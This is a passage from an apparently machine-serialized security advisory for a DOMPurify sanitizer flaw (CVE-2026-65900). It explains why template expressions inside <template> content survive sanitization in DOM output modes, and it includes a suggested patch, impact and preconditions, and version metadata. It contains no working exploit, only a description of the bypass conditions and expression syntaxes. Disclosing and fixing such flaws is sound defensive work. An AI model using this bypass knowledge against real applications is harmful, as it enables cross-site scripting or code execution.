`\u003Ctemplate>.content`:\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n  node.normalize(); // Does NOT normalize inside \u003Ctemplate>.content (DOM spec)\n  const walker = createNodeIterator.call(\n    node.ownerDocument || node,\n    node,            // NodeIterator does NOT enter \u003Ctemplate>.content\n    NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT |\n    NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION,\n    null\n  );\n  // Scrubs nodes it finds, but never sees \u003Ctemplate> content\n};\n```\n\nThe fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `\u003Ctemplate>.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):\n\n```ts\nif (_isDocumentFragment(shadowNode.content)) {\n  _sanitizeShadowDOM(shadowNode.content); // already handles recursion\n}\n```\n\n### Suggested Patch Direction\n\n```ts\nconst _scrubTemplateExpressions = function (node: Element): void {\n  node.normalize();\n  const walker = createNodeIterator.call( /* existing args */ );\n\n  // ... existing scrub loop ...\n\n  // NEW: recurse into \u003Ctemplate>.content, mirroring _sanitizeShadowDOM\n  const templates = (node as Element).querySelectorAll?.('template') ?? [];\n  arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => {\n    if (_isDocumentFragment(tmpl.content)) {\n      _scrubTemplateExpressions(tmpl.content as unknown as Element);\n    }\n  });\n};\n```\n\n---\n\n## Impact\n\n**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `\u003Ctemplate>` element content.\n\n**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `\u003C%...%>`) into the sanitized DOM output inside `\u003Ctemplate>` elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.\n\n### Preconditions for Exploitation\n\n| Precondition | Notes |\n|---|---|\n| `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set |\n| `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set |\n| Template engine processes `\u003Ctemplate>.content` | Application-dependent |\n\n### What Is NOT Affected\n\nThe **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067–2071` operates on the serialized HTML string, where the injected expression is visible and stripped:\n\n```ts\n// src/purify.ts:2067 - only runs on string output, not DOM output\nif (SAFE_FOR_TEMPLATES) {\n  arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {\n    serializedHTML = stringReplace(serializedHTML, expr, ' ');\n  });\n}\n```",null,[],[],[],[],[15],{"_key":16},"CVE-2026-65900",[],[19,21],{"_key":20},"CGA-9QRG-V82J-WGCV",{"_key":22},"CGA-Q65M-X2FC-C4PF","2026-06-15T20:02:40Z","2026-06-18T20:29:25.177935350Z",{"cisa_kev":26,"cisa_ransomware":26,"cisa_vendor":9,"epss_severity":9,"epss_score":9,"severity":9,"severity_score":9,"severity_version":9,"severity_source":9,"severity_vector":9,"severity_status":9},false,[28,34],{"url":29,"sources":30,"tags":32},"https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr",[31],"osv_npm",[33],"WEB",{"url":35,"sources":36,"tags":37},"https://github.com/cure53/DOMPurify",[31],[38],"PACKAGE",[],[],[42],{"source":31,"cvss_v2_0":9,"cvss_v3_0":9,"cvss_v3_1":9,"cvss_v4_0":43},{"baseScore":44,"baseSeverity":9,"vectorString":45,"impactScore":9,"exploitabilityScore":9},5.1,"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",[47],{"ecosystem":48,"name":49,"vendor":48,"product":49,"cpe_part":9,"purl_type":50,"purl_namespace":9,"purl_name":49,"source":9,"versions":51},"Npm","dompurify","npm",[52],{"version":53,"is_range":54,"range_type":55,"version_start":56,"version_start_type":57,"version_end":58,"version_end_type":59,"fixed_in":9},"gte3_0_0_lt3_4_8",true,"semver","3.0.0","including","3.4.8","excluding"]